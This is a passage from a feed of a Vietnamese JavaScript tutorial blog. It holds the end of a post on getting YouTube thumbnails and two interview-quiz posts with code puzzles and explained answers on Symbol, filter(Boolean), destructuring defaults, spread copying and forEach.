3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là một số cách để lấy ảnh thumbnail của video trên youtube. Hy vọng nó giúp ích được cho bạn.</p> <p>Nếu bạn thấy hay thì không ngại để chia sẻ cho mọi người cùng biết nhé. Còn nếu bạn có thắc mắc gì thì vui lòng để lại bình luận phía dưới hoặc gửi mail cho mình. Mình sẽ cố gắng giải đáp giúp bạn.</p> <p><a href="https://toolskitplus.com/youtube-thumbnail-grabber/" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Youtube Thumbnail Grabber </a></p> <p><strong>Lưu ý</strong>: cách này chỉ lấy được ảnh thumbnail của video. Nếu bạn muốn lấy ảnh từ video youtube (bất kỳ tại mọi thời điểm) thì có thể tải video đó về rồi sử dụng <a href="/huong-dan-tim-hieu-ffmpeg-co-ban/#Code_ffmpeg_chuyen_doi_video_thanh_anh">code FFmpeg để chuyển video thành ảnh</a>.</p> <p>Xin chào và hẹn gặp bạn ở bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Xoắn não với phỏng vấn JavaScript 9]]><![CDATA[Xin chào bạn đến bài viết Xoắn não với phỏng vấn JavaScript 9, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay. Mời bạn theo dõi bài viết! Xoắn…]]>https://completejavascript.com/xoan-nao-voi-phong-van-javascript-9/https://completejavascript.com/xoan-nao-voi-phong-van-javascript-9/<![CDATA[ES6]]><![CDATA[Destructuring Assignment]]><![CDATA[Symbol]]><![CDATA[Array]]><![CDATA[Quiz]]>Sun, 17 Jun 2018 06:00:00 GMT<p>Xin chào bạn đến bài viết <strong>Xoắn não với phỏng vấn JavaScript 9</strong>, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay.</p> <p>Mời bạn theo dõi bài viết!</p> <h2 id="xoắn-não-với-phỏng-vấn-javascript-9--câu-1" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-9--c%C3%A2u-1" aria-label="xoắn não với phỏng vấn javascript 9 câu 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 9 – Câu 1</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> s1 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> s2 <span class="token operator">=</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> s3 <span class="token operator">=</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>s1 <span class="token operator">===</span> s2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>s2 <span class="token operator">===</span> s3<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">false true</code></pre></div> <p><strong>Giải thích:</strong></p> <p>Nếu bạn đã đọc bài viết <a href="/tim-hieu-ve-symbol-trong-javascript/">Tìm hiểu về Symbol trong JavaScript</a>, mình chắc chắn bạn sẽ trả lời được câu hỏi này.</p> <p>Phương thức <code>Symbol("id")</code> sẽ tạo mới một biến kiểu <strong>Symbol</strong> với <strong>description</strong> là "id". Mà một đặc điểm quan trọng của Symbol là tính duy nhất. Nghĩa là bạn tạo ra bao nhiêu Symbol với cùng description thì nó vẫn khác nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myId1 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> myId2 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> myId3 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myId1 <span class="token operator">===</span> myId2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myId2 <span class="token operator">===</span> myId3<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <p>Tiếp theo là phương thức <code>Symbol.for("id")</code>. Phương thức này sẽ tìm trong một đối tượng Global, xem có tồn tại Symbol với key là "id" hay không. Nếu chưa có Symbol nào thoả mãn thì một Symbol mới với key "id" sẽ được tạo ra. Ngược lại, phương thức trên sẽ trả về Symbol đã tồn tại.</p> <p>Do đó, s2 và s3 ở trên chắc chắn bằng nhau và khác s1.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-9--câu-2" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-9--c%C3%A2u-2" aria-label="xoắn não với phỏng vấn javascript 9 câu 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 9 – Câu 2</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token keyword">undefined</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> b <span class="token operator">=</span> a<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span>Boolean<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">[1, "a", "b", true]</code></pre></div> <p><strong>Giải thích:</strong></p> <p>Trước tiên, mình nói về hàm <a href="/javascript-foreach-la-cai-quai-gi/#arrayprototypefilter">filter</a>. Phương thức này lọc lấy các phần tử trong <a href="/array-la-gi-array-trong-javascript/">mảng</a> thoả mãn một điều kiện cho trước và trả về một mảng mới chứa những phần tử đó.</p> <p>Nói cách khác, phương thức <strong>filter</strong> nhận tham số đầu tiên là một <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> và trả về một mảng các phần tử làm cho hàm trên <strong>return true</strong>.</p> <p>Cái này chắc nhiều bạn đã biết rồi. Tuy nhiên, vấn đề chính ở đây là tham số đầu tiên truyền vào là <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean">Boolean</a>. Đây là một built-in <a href="/object-la-gi-object-trong-javascript/">object</a> trong JavaScript.</p> <p>Nhưng thú vị ở chỗ, bạn có thể sử dụng Boolean như một function để convert một giá trị bất kỳ về kiểu Boolean. Cụ thể trong câu hỏi trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> <span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> <span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token string">"b"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> <span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> <span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Đến đây thì đáp án của câu hỏi đã được giải thích rồi phải không nào?</p> <p><strong>Note</strong>: nếu bạn muốn viết code tường minh hơn thì có thể sửa lại đoạn code trên như sau mà vẫn cho kết quả tương tự:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token keyword">undefined</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> b <span class="token operator">=</span> a<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">v</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">Boolean</span><span class="token punctuation">(</span>v<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-9--câu-3" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-9--c%C3%A2u-3" aria-label="xoắn não với phỏng vấn javascript 9 câu 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 9 – Câu 3</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> f <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">{</span> x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> y <span class="token operator">=</span> <span class="token string">"a"</span><span class="token punctuation">,</span> z <span class="token operator">=</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án</strong>:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Uncaught TypeError: Cannot destructure property `x` of 'undefined' or 'null'</code></pre></div> <p><strong>Giải thích</strong>:</p> <p>Thoạt nhìn, nhiều bạn sẽ nghĩ đáp án là: <strong>0, "a", true"</strong>. Nhưng thực tế thì không phải vậy.</p> <p>Trước tiên, function <strong>f</strong> ở trên tương đương:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">f</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">param</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> <span class="token punctuation">{</span> x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> y <span class="token operator">=</span> <span class="token string">"a"</span><span class="token punctuation">,</span> z <span class="token operator">=</span> <span class="token boolean">true</span> <span class="token punctuation">}</span> <span class="token operator">=</span> param<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Khi bạn gọi hàm <strong>f()</strong> mà không có tham số truyền vào, giá trị của <strong>param</strong> sẽ là <strong>undefined</strong>. Do đó, khi thực hiện <a href="/tag/destructuring-assignment/">Destructuring Assignment</a>, bạn sẽ gặp lỗi như trên <strong>Cannot destructure property 'x' of 'undefined' or 'null'</strong>.</p> <p>Để tránh lỗi trên, bạn có thể sửa lại function ban đầu như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> f <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">{</span> x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> y <span class="token operator">=</span> <span class="token string">"a"</span><span class="token punctuation">,</span> z <span class="token operator">=</span> <span class="token boolean">true</span> <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ở đây, mình khai báo giá trị <strong>default</strong> cho tham số đầu tiên là một object rỗng. Nghĩa là khi bạn không truyền bất kỳ tham số nào khi gọi hàm f() thì giá trị mặc định của nó sẽ là <strong>{}</strong>.</p> <p>Tức là <strong>param</strong> ở trên sẽ bằng <strong>{}</strong>. Và khi thực hiện Destructuring Assignment:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token punctuation">{</span> x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> y <span class="token operator">=</span> <span class="token string">"a"</span><span class="token punctuation">,</span> z <span class="token operator">=</span> <span class="token boolean">true</span> <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Các biến số x, y và z nhận giá trị default tương ứng là: 0, "a" và "true".</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là 3 câu hỏi phỏng vấn JavaScript cũng rất hay. Nếu bạn có cùng nhận xét với mình thì vui lòng để lại bình luận xuống phía dưới nhé!</p> <p>Xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Xoắn não với phỏng vấn JavaScript 8]]><![CDATA[Xin chào bạn đến bài viết Xoắn não với phỏng vấn JavaScript 8, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay. Mời bạn theo dõi bài viết! Xoắn…]]>https://completejavascript.com/xoan-nao-voi-phong-van-javascript-8/https://completejavascript.com/xoan-nao-voi-phong-van-javascript-8/<![CDATA[ES6]]><![CDATA[Destructuring Assignment]]><![CDATA[Spread syntax]]><![CDATA[Quiz]]>Sat, 16 Jun 2018 06:00:00 GMT<p>Xin chào bạn đến bài viết <strong>Xoắn não với phỏng vấn JavaScript 8</strong>, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay.</p> <p>Mời bạn theo dõi bài viết!</p> <h2 id="xoắn-não-với-phỏng-vấn-javascript-8--câu-1" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-8--c%C3%A2u-1" aria-label="xoắn não với phỏng vấn javascript 8 câu 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 8 – Câu 1</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> clone_a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>a<span class="token punctuation">]</span><span class="token punctuation">;</span> clone_a<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> clone_a<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>y <span class="token operator">=</span> <span class="token number">20</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>clone_a <span class="token operator">===</span> a<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>clone_a<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>x<span class="token punctuation">,</span> clone_a<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>x<span class="token punctuation">,</span> a<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">false 10 20 10 20</code></pre></div> <p><strong>Giải thích:</strong></p> <p>Trước tiên, bạn nhận thấy biến <strong>a</strong> là một <a href="/array-la-gi-array-trong-javascript/">mảng</a> gồm 2 phần tử <code>{x : 1}</code> và <code>{y : 2}</code>. Trong đó, mỗi phần tử lại là một <a href="/object-la-gi-object-trong-javascript/">object</a>.</p> <p>Tiếp theo, trong câu lệnh <code>const clone_a = [...a]</code>, mình sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">spread syntax</a> để copy array a sang một biến mới là <strong>clone_a</strong>.</p> <p>Vì vậy, khi so sánh <code>clone_a === a</code> thì kết quả chắc chắn sẽ là <strong>false</strong> (dòng 1 trong kết quả hiển thị).</p> <p>Sau đó, mình thay đổi giá trị của x, y trong clone_a. Dễ thấy, kết quả dòng 2 sẽ là: 10 20.</p> <p>Tuy nhiên, vấn đề nằm ở dòng thứ 3: tại sao kết quả lại là <strong>10 20</strong> mà không phải <strong>1 2</strong>?</p> <p>Có thể bạn chưa biết, spread syntax có một chú ý quan trọng sau:</p> <blockquote> <p>Spread syntax effectively goes one level deep while copying an array. Therefore, it may be unsuitable for copying multidimensional arrays.</p> </blockquote> <p>Nghĩa là, spread syntax chỉ thực hiện copy ở <em>level</em> ngoài cùng. Còn đối với các level sâu bên trong thì cú pháp này không có tác dụng.</p> <p>Mà 2 phần tử của mảng trên đều là đối tượng, do đó, chúng vẫn được <em>reference</em> sang nhau. Hay nói cách khác, khi bạn thay đổi <code>clone_a[0].x</code> và <code>clone_a[1].y</code> thì <code>a[0].x</code> và <code>a[1].y</code> cũng sẽ thay đổi theo.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-8--câu-2" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-8--c%C3%A2u-2" aria-label="xoắn não với phỏng vấn javascript 8 câu 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 8 – Câu 2</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> numbers <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> points <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> numbers<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">n</span><span class="token punctuation">)</span> <span class="token operator">=></span> n<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">;</span> points<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">p</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> p<span class="token punctuation">.</span>x<span class="token operator">++</span><span class="token punctuation">,</span> p<span class="token punctuation">.</span>y<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>numbers<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>points<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">[0, 1, 2] [{x: 1, y: 2}, {x: 2, y: 3}]</code></pre></div> <p><strong>Giải thích:</strong></p> <p>Khi thực hiện <a href="/javascript-foreach-la-cai-quai-gi/">forEach</a>, hiểu đơn giản là nó sẽ thực hiện một hành động đối với từng phần tử của mảng.</p> <p>Đối với câu lệnh <code>numbers.forEach(n => n++)</code>, <strong>n</strong> sẽ tương ứng với các phần tử trong mảng là: <strong>1, 2, 3</strong>. Tuy nhiên, đây là các <strong>primitive value</strong>. Do đó, khi thực hiện <code>n++</code> thì giá 